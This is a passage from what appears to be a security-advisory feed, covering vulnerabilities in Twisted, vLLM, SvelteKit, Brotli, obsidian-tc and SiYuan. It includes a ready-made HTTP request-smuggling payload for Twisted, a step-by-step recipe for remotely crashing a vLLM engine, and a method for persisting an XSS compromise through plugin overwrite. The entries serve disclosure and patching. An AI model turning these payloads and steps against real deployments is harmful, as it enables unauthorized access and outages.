`twisted.web.http.HTTPChannel.headerReceived` rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check. ## Details `headerReceived` splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL: ```python # twisted/web/http.py HTTPChannel.headerReceived data = data.strip(b" \t") if b"\x00" in data: # NUL rejected; a bare CR or LF is not self._respondToBadRequestAndDisconnect() return False ``` The channel delimiter is CRLF, so `Foo: x\nContent-Length: 39` is one line: the split yields name `Foo` and value `x\nContent-Length: 39`, `strip` leaves the LF, and the NUL check passes. `_maybeChooseTransferDecoder` is then called with `Foo`, never sees a `Content-Length`, and installs no body decoder, so the request is framed with an empty body. The header name and request line already reject CR and LF, so the value is the only gap. Affected product: Twisted, `twisted.web.http.HTTPChannel` Affected versions: 26.4.0 and earlier ## PoC Feed one connection a request whose header value carries a bare LF and a `Content-Length`, followed by a second request in the bytes after it: `POST /public HTTP/1.1\r\nHost: v\r\nFoo: x\nContent-Length: 44\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\n\r\n`. Twisted parses two requests and serves both, so the smuggled `GET /admin` returns the /admin response body even though the visible request was only `POST /public`. The bare CR variant behaves identically, and a NUL in the value is rejected, which isolates the missing CR and LF checks. Behind a front-end that treats the bare LF as a line terminator, the front-end frames one `POST /public` and forwards a body while Twisted frames a second `GET /admin`; the extra response then poisons the shared connection, so a later victim receives the attacker's `GET /admin` response. ## Impact This is an HTTP request-smuggling exposure (CWE-444) from inconsistent interpretation of a request (CWE-436). Through a front-end that accepts a bare CR or LF as a line terminator, an attacker can smuggle a request the front-end never sees, bypassing front-end access controls, poisoning a shared connection so a later victim receives the attacker's response, and poisoning a cache. Twisted is the strict endpoint that frames the request without a body, so it is realized only behind such a proxy, and there is no code execution. Affected package ranges reported by GitHub: Twisted: <= 26.4.0 Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### vLLM: Forged multimodal UUID + P0/P1 processor-cache eviction drift: unauthenticated remote crash of the whole vLLM engine https://kevwire.com/record/CVE-2026-114050 vLLM: Forged multimodal UUID + P0/P1 processor-cache eviction drift: unauthenticated remote crash of the whole vLLM engine (Oct 23, 2026). Multimodal content parts (`image_url`, `video_url`, `input_audio`, ...) accept a user-supplied `uuid` field that vLLM uses **verbatim as the item's cache identity** (`mm_hash`). The two frontend/engine processor caches (P0 "sender" cache in the API process, P1 "receiver" cache in the EngineCore process) are independent LRU caches whose evictions are **not synchronized**, and the P1 hit path performs **zero consistency validation** — it silently substitutes the cached item's tensor data for whatever the current request actually contains. A single unauthenticated client can exploit this to kill the entire engine, deterministically, with default server flags: CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-p92p-rxj5-7p2x). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114050&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-p92p-rxj5-7p2x: https://github.com/advisories/GHSA-p92p-rxj5-7p2x GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-114050: https://nvd.nist.gov/vuln/detail/CVE-2026-114050 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114050&date=2026-10-25 ## Summary Multimodal content parts (`image_url`, `video_url`, `input_audio`, ...) accept a user-supplied `uuid` field that vLLM uses **verbatim as the item's cache identity** (`mm_hash`). The two frontend/engine processor caches (P0 "sender" cache in the API process, P1 "receiver" cache in the EngineCore process) are independent LRU caches whose evictions are **not synchronized**, and the P1 hit path performs **zero consistency validation** — it silently substitutes the cached item's tensor data for whatever the current request actually contains. A single unauthenticated client can exploit this to kill the entire engine, deterministically, with default server flags: 1. **Seed**: send a small image with `uuid="U"`. Both caches now map `U` to an item with **N_A** visual tokens (e.g. 4). 2. **Drift**: send ~70 requests, each carrying a *unique* uuid, a max-size image, and an over-long text prompt. Each request is rejected with 400 — but **after** its image has been inserted into the P0 cache (insertion happens during chat rendering, before prompt-length validation), so these requests fill P0 **without ever reaching the engine/P1**. `U` is evicted from P0 only. 3. **Kill**: send a *large* image with `uuid="U"`. P0 misses → the image is freshly processed and the prompt is spliced with **N_B** (e.g. 2048+) placeholder tokens; the request carries full data to the engine, but P1 still has `U` → the engine **discards the fresh data and substitutes the stale N_A-row tensor**. The scheduler plans for N_B encoder slots while the worker merges N_A embeddings into N_B placeholders → `ValueError: Attempted to assign 4 = 4 multimodal tokens to 2048 placeholders` at `vllm/model_executor/models/utils.py:711` → uncaught in the EngineCore busy loop → `_send_engine_dead()` → the EngineCore process dies, every API server reports `EngineDeadError` and shuts down. `/health` never recovers; the deployment needs a full restart. Verified end-to-end on the official `vllm/vllm-openai:v0.29.0` image with Qwen2.5-VL-3B-Instruct, default configuration (no flags beyond `--served-model-name`/`--gpu-memory-utilization`): after 70 flood requests the kill request returned `500 EngineCore encountered an issue` and `/health` went dead permanently. The vulnerable code is byte-identical on `main` (post-0.29.0). ## Details **1. The client-controlled `uuid` becomes the cache hash verbatim.** `vllm/entrypoints/chat_utils.py:1677` / `:1884-1886` read `part["uuid"]` per content part and pass it through as `mm_uuids`. In `vllm/multimodal/processing/inputs.py:62-63`, when no `hf_processor_mm_kwargs` are present (the default for chat requests), the uuid string **is** the item hash — no content binding at all: ```python # vllm/multimodal/processing/inputs.py:62-63 else: hashes.append(uuid_item) # client string used verbatim as mm_hash ``` **2. P0 insertion happens before request validation.** In the serving path, `render_chat_request` (`vllm/entrypoints/openai/chat_completion/serving.py:275`) runs full mm processing — `mm_processor.apply` (`vllm/renderers/base.py:759`) → `_cached_apply_hf_processor` → `_merge_mm_kwargs` → `cache.get_and_update_item` (`vllm/multimodal/processing/processor.py:1338`), which inserts the processed item into the P0 sender cache (default `mm_processor_cache_type="lru"`, 4 GiB). Only afterwards does `get_max_tokens` (`vllm/entrypoints/serve/utils/api_utils.py:183-186`) reject over-long prompts with 400. **A request can therefore write to P0 while never reaching the engine** — the primitive that desynchronizes P0 from P1. (Public issue #43941 documented this same asymmetry for the opposite drift direction, which was later handled via `MultiModalCacheMissError`; the P0-miss/P1-hit direction below was never addressed.) **3. P1 substitutes cached data on hash hit with no consistency check.** In the EngineCore input thread, `preprocess_add_request` (`vllm/v1/engine/core.py:997-1000`) calls `mm_receiver_cache.get_and_update_features`, which only replaces `feature.data` (`vllm/multimodal/cache.py:673-690`) and keeps the request's own `mm_position` (placeholder layout). On a cache hit the receiver cache returns the stale item wholesale: ```python # vllm/multimodal/cache.py:739-740 (MultiModalReceiverCache.get_and_update_item) if (cached_item := self._cache.get(mm_hash)) is not None: return cached_item # fresh data silently discarded; no size/modality check ``` Only the opposite drift (P0 hit / P1 miss, `data=None`) is handled, via the retryable `MultiModalCacheMissError`. Nothing validates that the cached item's modality, shape, or token count matches the current request's placeholders. **4. The mismatch is fatal to the engine.** The scheduler plans encoder work from the request's (fresh) placeholder count N_B, while the worker gathers embeddings from the stale N_A-row tensor (encoder-cache hit under the same forged hash, or re-encoding the stale data — both yield N_A rows). `_merge_multimodal_embeddings` then raises: ```python # vllm/model_executor/models/utils.py:703-714 inputs_embeds[is_multimodal] = mm_embeds_flat.to(dtype=input_dtype) # RuntimeError ... raise ValueError( f"Attempted to assign {expr} = {num_actual_tokens} " f"multimodal tokens to {num_expected_tokens} placeholders") from e ``` This exception is raised inside the worker's input preparation with no per-request containment, propagates to the EngineCore busy loop's top-level handler (`vllm/v1/engine/core.py:1372`), and triggers `_send_engine_dead()`. The API server's `output_handler` receives `EngineDeadError` (`vllm/v1/engine/async_llm.py:819`) and the whole process tree shuts down. (Issue #55546 independently reported this sink — "one bad multimodal item kills the entire V1 engine tree" — from an organically occurring stale cache entry; this report provides the missing deterministic, remote, single-attacker trigger.) **Cost of the attack.** With the default `mm_processor_cache_gb=4`, one max-size Qwen2.5-VL image (12845056 pixels) Affected package ranges reported by GitHub: vllm: < 0.31.0 Action: GitHub lists first patched versions: vllm: 0.31.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### SvelteKit : XSS via untrusted cache-control header in prerendered page https://kevwire.com/record/CVE-2026-114061 SvelteKit : XSS via untrusted cache-control header in prerendered page (Oct 23, 2026). Applications that prerender pages and use `setHeaders` to set a `cache-control` header from an untrusted source are vulnerable to cross-site scripting (XSS). SvelteKit inserts the header value into a ` ` tag without escaping it. An attacker who can influence this value at prerender time can break out of the `content` attribute and inject HTML or JavaScript into the generated page. The injected code can then execute when users visit the page. CVSS 0.0 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-27mw-82g8-phjj). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114061&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-27mw-82g8-phjj: https://github.com/advisories/GHSA-27mw-82g8-phjj GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114061&date=2026-10-25 ### Impact Applications that prerender pages and use `setHeaders` to set a `cache-control` header from an untrusted source are vulnerable to cross-site scripting (XSS). SvelteKit inserts the header value into a ` ` tag without escaping it. An attacker who can influence this value at prerender time can break out of the `content` attribute and inject HTML or JavaScript into the generated page. The injected code can then execute when users visit the page. ### Patches The fix escapes the header value before inserting it into the generated HTML. Upgrade to `@sveltejs/kit` version 3.0.0 or later. ### Workarounds Avoid forwarding untrusted `cache-control` header values with `setHeaders` on prerendered pages. Use a fixed, trusted cache policy instead. Affected package ranges reported by GitHub: @sveltejs/kit: < 3.0.0 Action: GitHub lists first patched versions: @sveltejs/kit: 3.0.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package https://kevwire.com/record/GHSA-9v8h-qqgm-4m35 Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package (Oct 22, 2026). A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1. CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9v8h-qqgm-4m35). Sources: GitHub-reviewed advisory GHSA-9v8h-qqgm-4m35: https://github.com/advisories/GHSA-9v8h-qqgm-4m35 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1. Affected package ranges reported by GitHub: brotli: >= 1.0.3, < 1.2.1 brotlicffi: >= 1.0.3, < 1.2.1.0 Action: GitHub lists first patched versions: brotli: 1.2.1; brotlicffi: 1.2.1.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### obsidian-tc: Memory-lifecycle tools overwrite unowned notes or partially commit lifecycle changes https://kevwire.com/record/CVE-2026-115478 obsidian-tc: Memory-lifecycle tools overwrite unowned notes or partially commit lifecycle changes (Oct 23, 2026). obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.0.1 until 1.31.4, `create_entity`, `link_entities`, `rename_entity`, `unlink_entities` and `delete_entity` regenerate memory notes from SQLite at the computed `memory//.md` path without reliably preserving note ownership or the consistency of a failed lifecycle operation. During shared materialization, a hand-authored note or an orphan left by a different entity whose name sanitized to the same path could have its entire body overwritten on the next write naming that type and name, with non-owned frontmatter preserved. `rename_entity` also seeded the destination path with a direct atomic write without validating ownership and could overwrite a foreign note there. Separately, several tools mutated SQLite before fallible filesystem work: `create_entity` and `link_entities` inserted the row or relation before materialization; `rename_entity` updated the entity, including a retired status, before updating its note; `unlink_entities` removed a relation before rematerializing the source note; and `delete_entity`'s cascade removed the target and its relations before rematerializing neighbouring notes. A later filesystem failure could therefore leave a row or relation changed and the memory graph inconsistent with the notes on disk even when the operation failed. An authorized caller with the required memory-tool permissions could, without intending to, destroy the body of a vault note outside the entity being written; `delete_entity` additionally requires its deletion permission and destructive confirmation, which this memory flaw does not bypass. Snapshots-before-write through `restore_note` mitigate the overwrite only where snapshots are enabled and the note had previously been written through obsidian-tc. This issue is fixed in version 1.31.4. CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-r3g7-r4hr-m258). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115478&date=2026-10-25). Sources: NVD CVE-2026-115478: https://nvd.nist.gov/vuln/detail/CVE-2026-115478 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 GitHub-reviewed advisory GHSA-r3g7-r4hr-m258: https://github.com/advisories/GHSA-r3g7-r4hr-m258 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115478&date=2026-10-25 obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.0.1 until 1.31.4, `create_entity`, `link_entities`, `rename_entity`, `unlink_entities` and `delete_entity` regenerate memory notes from SQLite at the computed `memory//.md` path without reliably preserving note ownership or the consistency of a failed lifecycle operation. During shared materialization, a hand-authored note or an orphan left by a different entity whose name sanitized to the same path could have its entire body overwritten on the next write naming that type and name, with non-owned frontmatter preserved. `rename_entity` also seeded the destination path with a direct atomic write without validating ownership and could overwrite a foreign note there. Separately, several tools mutated SQLite before fallible filesystem work: `create_entity` and `link_entities` inserted the row or relation before materialization; `rename_entity` updated the entity, including a retired status, before updating its note; `unlink_entities` removed a relation before rematerializing the source note; and `delete_entity`'s cascade removed the target and its relations before rematerializing neighbouring notes. A later filesystem failure could therefore leave a row or relation changed and the memory graph inconsistent with the notes on disk even when the operation failed. An authorized caller with the required memory-tool permissions could, without intending to, destroy the body of a vault note outside the entity being written; `delete_entity` additionally requires its deletion permission and destructive confirmation, which this memory flaw does not bypass. Snapshots-before-write through `restore_note` mitigate the overwrite only where snapshots are enabled and the note had previously been written through obsidian-tc. This issue is fixed in version 1.31.4. NVD status: Deferred. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin https://kevwire.com/record/CVE-2026-62204 SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin (Oct 23, 2026). `installBazaarPlugin` (and the equivalent endpoints for widgets/icons/templates/themes) accept `packageName`, `repoURL`, and `repoHash` as independent request fields with no validation that they refer to the same package. `packageName` alone determines the install destination; `repoURL`/`repoHash` alone determine what content gets downloaded and written there. A request can name an already-installed, already-enabled plugin as `packageName` while pointing `repoURL`/ `repoHash` at different, attacker-influenced content, silently overwriting the existing plugin's files. `kernel/api/bazaar.go`: ```go util.BindJsonArg("packageName", &packageName, true, true) util.BindJsonArg("repoURL", &repoURL, true, true) util.BindJsonArg("repoHash", &repoHash, true, true) err := model.InstallBazaarPackage("plugins", repoURL, repoHash, packageName, 0) ``` CVSS 6.6 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-rpx2-p6hp-x5gj). EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-62204&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-rpx2-p6hp-x5gj: https://github.com/advisories/GHSA-rpx2-p6hp-x5gj GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-62204&date=2026-10-25 ## Summary `installBazaarPlugin` (and the equivalent endpoints for widgets/icons/templates/themes) accept `packageName`, `repoURL`, and `repoHash` as independent request fields with no validation that they refer to the same package. `packageName` alone determines the install destination; `repoURL`/`repoHash` alone determine what content gets downloaded and written there. A request can name an already-installed, already-enabled plugin as `packageName` while pointing `repoURL`/ `repoHash` at different, attacker-influenced content, silently overwriting the existing plugin's files. ## Affected code `kernel/api/bazaar.go`: ```go util.BindJsonArg("packageName", &packageName, true, true) util.BindJsonArg("repoURL", &repoURL, true, true) util.BindJsonArg("repoHash", &repoHash, true, true) err := model.InstallBazaarPackage("plugins", repoURL, repoHash, packageName, 0) ``` `kernel/model/bazaar.go`: ```go func getPackageInstallPath(pkgType, packageName string) (string, string, error) { case "plugins": return filepath.Join(util.DataDir, "plugins", packageName), "plugin.json", nil ``` `kernel/bazaar/install.go`: ```go func installPackage(data []byte, installPath string) (err error) { ... if err = filelock.Copy(srcPath, installPath); err != nil { return } return } ``` `installPath` is derived solely from `packageName`; the downloaded `data` is derived solely from `repoURL`/`repoHash`; nothing cross-validates them, and `installPackage` performs no check for whether `installPath` already contains an existing package before copying into it. The same pattern applies to the widget/icon/template/theme install endpoints, which share `getPackageInstallPath`. This does not involve path traversal — `installPath` always resolves inside `DataDir/plugins/` (or the corresponding directory for other package types), so this is not an instance of "arbitrary file write outside the workspace path" (excluded by this project's SECURITY.md). The issue is that the write lands in the *wrong, existing* location within the intended directory, not outside it — an authorization/identity-verification gap, not a path traversal. ## Reachability / why this is not trivially remote The bazaar endpoints are gated by `model.CheckAuth`, `model.CheckAdminRole`, `model.CheckReadonly`. When no lock-screen password is configured (the common desktop default), `CheckAuth` still enforces a same-origin check: ```go if !localhost || ... || ("" != origin && !util.IsLocalOrigin(origin)) || ... { // reject with 401 } ``` I verified `IsLocalOrigin`/`IsLocalHostname` correctly parse the `Origin` header via `url.Parse` and check exact hostname / loopback IP: ```go func IsLocalOrigin(origin string) bool { if u, err := url.Parse(origin); err == nil { return IsLocalHostname(u.Hostname()) } return false } func IsLocalHostname(hostname string) bool { if "localhost" == hostname || strings.HasSuffix(hostname, ".localhost") { return true } if ip := net.ParseIP(hostname); nil != ip { return ip.IsLoopback() } return false } ``` This was tested against common bypass patterns (subdomain-suffix tricks like `localhost.attacker.com`, and `Origin: null` as sent by sandboxed iframes) and found no bypass — this is a correctly-implemented check. This means a purely remote attacker (e.g. a malicious website) cannot invoke this endpoint via CSRF; a request must originate from SiYuan's own renderer origin. ## Realistic impact Given SiYuan runs as an Electron app with `nodeIntegration: true` (per prior advisories in this repository), a same-origin script-execution primitive (e.g. an XSS bug in the renderer, of which several have been fixed in this repository recently) is typically already sufficient for direct code execution. This bug's marginal value is **persistence**: a transient XSS-driven compromise can use this endpoint to overwrite an existing, trusted, already-enabled plugin's `index.js`, converting a one-time compromise into code that runs on every future launch of the application, surviving after the original XSS vector is closed. The overwrite does not effect immediately, via this specific endpoint. `PushReloadPlugin` (the websocket event that triggers frontend hot-reload without restart) is only called from the batch-update path (`InstallBazaarPackages`, used by `batchUpdatePackage`), which explicitly checks `if petal != nil && petal.Enabled` before forcing a reload via `SetPetalEnabled`. The single-package install endpoint (`installBazaarPlugin`) does not call `PushReloadPlugin` at all — it only pushes a generic success toast. So an overwrite via this endpoint activates on the next app restart or manual plugin toggle, rather than instantly still a realistic and frequent event for a desktop application, but not an instant hot-reload. ## Suggested fix Verify that `packageName` matches the package name declared in the downloaded package's own `plugin.json`/`theme.json`/etc. before copying into `installPath`, and/or refuse to install over an existing, non-empty destination directory unless the request is explicitly an update of that same package (matching by source repo identity, not just by request-supplied name). ## Verification notes Confirmed via static source review of `kernel/api/bazaar.go`, `kernel/model/bazaar.go`, `kernel/bazaar/install.go`, `kernel/model/session.go` (CheckAuth), `kernel/util/net.go` (IsLocalOrigin/IsLocalHostname), and `kernel/model/push_reload.go` / `app/src/plugin/loader.ts` (reload trigger wiring). I do not have a running SiYuan instance in this environment to execute an end-to-end proof of concept; findings are based on tracing the actual, unmodified control flow across these files rather than assumption. Affected package ranges reported by GitHub: github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260808010544-26ccb40d390e Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260808010544-26ccb40d390e. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream https://kevwire.com/record/CVE-2026-73054 SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream (Oct 23, 2026). Two checks on the same WebSocket request URI parse it differently. The authentication exemption for keepalive sessions matches raw substrings, while the quarantine introduced to contain those sessions reads a parsed query parameter. Because Go's `url.Values.Get` returns only the first value for a repeated key, a single URI can satisfy the exemption and still resolve to a non-auth session identity. The result is that an unauthenticated remote caller connects to the kernel WebSocket with a valid access auth code configured, is placed in the general broadcast pool rather than the quarantined pool, and receives the live event stream. CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-c8w8-3pqp-wr83). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73054&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-c8w8-3pqp-wr83: https://github.com/advisories/GHSA-c8w8-3pqp-wr83 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: 